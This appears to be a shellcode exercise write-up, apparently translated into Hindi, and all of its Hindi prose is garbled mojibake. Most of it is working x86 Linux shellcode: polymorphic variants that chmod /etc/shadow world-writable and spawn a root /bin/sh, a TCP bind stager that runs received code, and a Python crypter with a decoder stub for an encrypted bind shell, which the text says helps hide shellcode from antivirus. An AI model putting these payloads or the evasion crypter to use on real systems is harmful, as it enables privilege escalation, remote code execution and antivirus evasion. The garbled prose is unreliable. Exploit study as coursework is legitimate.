рдпрд╣ рдХреЛрдб рдПрдХ рд╕реЙрдХреЗрдЯ рдмрдирд╛рддрд╛ рд╣реИ, рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреЛрд░реНрдЯ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЖрдИрдкреА рдкрддреЗ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рдПрдХ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рд╕реЙрдХреЗрдЯ рд╕реЗ рд╢реЗрд▓рдХреЛрдб рдХреЗ рджреВрд╕рд░реЗ рднрд╛рдЧ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рдЖрд╡рдВрдЯрд┐рдд рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдХрдиреЗрдХреНрд╢рди рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо 5 рд╕реЗрдХрдВрдб рдЗрдВрддрдЬрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рд╕реЗ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдХрдИ рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдмрд╛рдж рдпрд╛ рдЕрдиреНрдп рдЕрдкрд╡рд╛рджреЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЬреЛ рдШрдЯрд┐рдд рд╣реБрдП рд╣реИрдВ, рд╡рд╣ рдЕрдкрдирд╛ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИред

6. рд╢реЗрд▓-рддреВрдлрд╛рди рд╕реЗ 3 рд╢реЗрд▓рдХреЛрдб рдХреЗ рдмрд╣реБрд░реВрдкреА рд░реВрдкрд╛рдВрддрд░рдг рдХрд░реЗрдВред


рдПрдХ рдмрд╣реБрд░реВрдкреА рдкрд░рд┐рд╡рд░реНрддрди рдПрдХ рдкрд░рд┐рд╡рд░реНрддрди рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдХреЛрдб рдмрджрд▓рддрд╛ рд╣реИ рдФрд░ рддрд░реНрдХ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг:

xor eax, eax рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░реЗрдЧрд╛,
рд╕рдм eax, eax рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рднреА рд░реАрд╕реЗрдЯ рдХрд░реЗрдЧрд╛ред

рдкреНрд░рджрд░реНрд╢рди рдореЗрдВ рджреЛ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рдЕрдВрддрд░ рд╣реЛрдЧрд╛: рдкрд╣рд▓рд╛ рдереЛрдбрд╝рд╛ рддреЗрдЬ рдЪрд▓реЗрдЧрд╛ред рдкреЙрд▓реАрдореЛрд░реНрдлрд┐рдХ рд░реВрдкрд╛рдВрддрд░рдг рд╢реЗрд▓рдХреЛрдб рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ, рдЬреЛ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╕реЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред

1. рдЪрд╛рдореЛрдж / рдЖрджрд┐ / рдЫрд╛рдпрд╛

	; http://shell-storm.org/shellcode/files/shellcode-608.php
	; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
	; length - 40 bytes
	section .text

global _start

_start:
	sub ebx, ebx	; replaced
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	sub eax, eax	; replaced
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

рдпрд╣ рд╢реЗрд▓рдХреЛрдб рд╕реИрдЯреБрдЗрдб () рдХреЛ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде 0,0 рдХрд╣рддрд╛ рд╣реИ (рдпрд╣ рд░реВрдЯ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ) рдФрд░ рдлрд┐рд░ / etc / рдЫрд╛рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП chmod () рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


	section .text
global _start

_start:
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

рдЗрд╕ рдХреЛрдб рдХреЛ asm рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ "рдПрдХрддреНрд░" рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ C-рдлрд╝рд╛рдЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╣реАрдВ, рдЗрд╕реЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

2. рдирд┐рд╖реНрдкрд╛рджрд┐рдд / рдмрд┐рди / рд╢

	; http://shell-storm.org/shellcode/files/shellcode-251.php
	; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
	; length - 45 byte
	section .text
global _start
_start:
	push 0x17
	mov eax, [esp]	; replaced
	sub ebx, ebx	; replaced
	imul edi, ebx	; replaced
	int 0x80

	push 0x2e
	mov eax, [esp]	; replaced
	push edi 	; replaced
	int 0x80

	sub edx, edx	; replaced
	push 0xb
	pop eax
	push edi	; replaced
	push 0x68732f2f
	push 0x6e69622f
	lea ebx, [esp]	; replaced
	push edi	; replaced
	push edi	; replaced
	lea esp, [ecx]	; replaced
	int 0x80

рдЫрд╡рд┐

рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдкрд╣рд▓реЗ рд╣реА рдКрдкрд░ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдорд╛рдирд╛ рдЬрд╛ рдЪреБрдХрд╛ рд╣реИред рдЙрд╕реЗ рд╡рд┐рд╢реЗрд╖ рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

3. рджреВрд╕рд░реЗ рдЪрд░рдг рдХреЗ рд╕рд╛рде TCP рдмрд╛рдЗрдВрдб рд╢реЗрд▓рдХреЛрдб

	; original: http://shell-storm.org/shellcode/files/shellcode-501.php
	; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
	; length 94
	section .text
global _start

_start:
	sub eax, eax	; replaced
	imul ebx, eax	; replaced
	imul edx, eax	; replaced

_socket:
	push 0x6
	push 0x1
	push 0x2
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp] ; replaced
	int 0x80

_bind:
	mov edi, eax	; placing descriptor
	push edx
	push WORD 0xb315	;/* 5555 */
	push WORD 2
	lea ecx, [esp]	; replaced
	push 16
	push ecx
	push edi
	xor eax, eax	; replaced
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_listen:
	mov bl, 4	; replaced
	push 0x1
	push edi
	add al, 0x66	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_accept:
	push edx
	push edx
	push edi
	add al, 0x66	; replaced
	mov bl, 5	; replaced
	lea ecx, [esp]	; replaced
	int 0x80
	mov ebx, eax

_read:
	mov al, 0x3
	lea ecx, [esp]	; replaced
	mov dx, 0x7ff
	mov dl, 1	; replaced
	int 0x80
	jmp esp

рдпрд╣ рд╢реЗрд▓рдХреЛрдб рдХрдиреЗрдХреНрд╢рди рдЦреЛрд▓рддрд╛ рд╣реИ, рд╢реЗрд▓рдХреЛрдб рдХрд╛ рджреВрд╕рд░рд╛ рднрд╛рдЧ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред

рджреВрд╕рд░реЗ рднрд╛рдЧ рдХрд╛ рдХреЛрдб:

	section .text
global _start

_start:
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	mov ebx, 100
	int 0x80

рдЫрд╡рд┐

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╢реЗрд▓рдХреЛрдб рдХрд╛ рджреВрд╕рд░рд╛ рднрд╛рдЧ рд╕рдлрд▓ рд░рд╣рд╛ред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдЧреНрдЬрд┐рдЯ рдХреЛрдб 100 рд╣реИред

7. рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд░


рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рдкрд╛рдареНрдпрдХреНрд░рдо рдореЗрдВ, рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рд╕реА рднрд╛рд╖рд╛ рдФрд░ рд╕рд╣рд╛рдпрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдореИрдВрдиреЗ рдЕрд╕реЗрдВрдмрд▓рд░ рдореЗрдВ рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛, рдкрд╛рдареНрдпрдХреНрд░рдо рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЗ рд╕рд░рд▓реАрдХрд░рдг рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдХреЛрдбрд╛рдВрддрд░рдХ рдХреЛ рд╕рдорд░реНрдкрд┐рдд рд╣реИред

crypter.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
	print("Enter shellcode in hex")
	sys.exit(0)

shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)

# Generating key
key_length = len(plain_shellcode)
r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())

encrypted_shellcode = ""
plain_key = ""

for b in range(len(plain_shellcode)):
	enc_b = (plain_shellcode[b] + key[b]) & 255
	encrypted_shellcode += '%02x' % enc_b
	plain_key += '0x'+ '%02x' % key[b] + ','

print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ "рдХрдВрдХрд╛рд▓" рдмрдирд╛рдПрдБ:

	section .text
global _start

_start:
	; push encrypted shellcode
	<PUSH ENCRYPTED SHELLCODE>

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, <KEY LENGTH>

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db <CIPHER KEY>

рдЗрд╕ рдХреЛрдб рдХреЗ рд▓рд┐рдП, 3 рдЪреАрдЬреЗрдВ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ: рдПрдиреНрдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб, рдХреБрдВрдЬреА рд▓рдВрдмрд╛рдИ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдкреБрд╢ рдирд┐рд░реНрджреЗрд╢ред рд╣рдо TCP рдмрд╛рдЗрдВрдб рд╢реЗрд▓ рд╢реЗрд▓рдХреЛрдб рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдУрдкрдХреЛрдб рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ:

$hexopcode bind_tcp_shell 
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80

рд╣рдо рдЗрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВрдЧреЗ:

$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105

рд╣рдорд╛рд░реЗ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд▓рд┐рдП рдкреБрд╢ рдирд┐рд░реНрджреЗрд╢ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ:

$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
	push 0x90909013
	push 0x8fb7726f
        ...

Asm рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рднрд░реЗрдВред

	section .text
global _start

_start:
	; push encrypted shellcode
	push 0x90909013
	push 0x8fb7726f
	push 0x4cad864b
	push 0xbf09ba20
	push 0x2c13f1e5
	push 0x1e36bff2
	push 0x83a47bf3
	push 0x76b90c8f
	push 0xfa73b77f
	push 0x4c55318b
	push 0xab3cb9c5
	push 0x19874bc0
	push 0x750a73dd
	push 0x18da4250
	push 0xa338c711
	push 0xb1491492
	push 0x2d398f06
	push 0x35c54629
	push 0xe1d514c6
	push 0x2dfc14c5
	push 0xff29aecc
	push 0xb4f718cc
	push 0xac388f5d
	push 0xfb457228
	push 0x27b52d90
	push 0x2d6378f4
	push 0x8df4f24a

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, 105

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,

рд╣рдо рд╕рдВрдХрд▓рди рдХрд░рддреЗ рд╣реИрдВ:

$nasm32 encrypted_bind

рдлрд╛рдЗрд▓ рд╕реЗ рдУрдкрдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

$popcode encrypted_bind

рдпрд╣ рд╕рдм shellcode.c рдореЗрдВ рд░рдЦреЗрдВ, рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдВред

рдЫрд╡рд┐

рд╕рдВрджрд░реНрдн


рдлрд╛рдЗрд▓реЛрдВ рдФрд░ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд╕рднреА рд▓рд┐рдВрдХ рдпрд╣рд╛рдВ рджреЗрдЦреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╕реНрд░реЛрддред

All Articles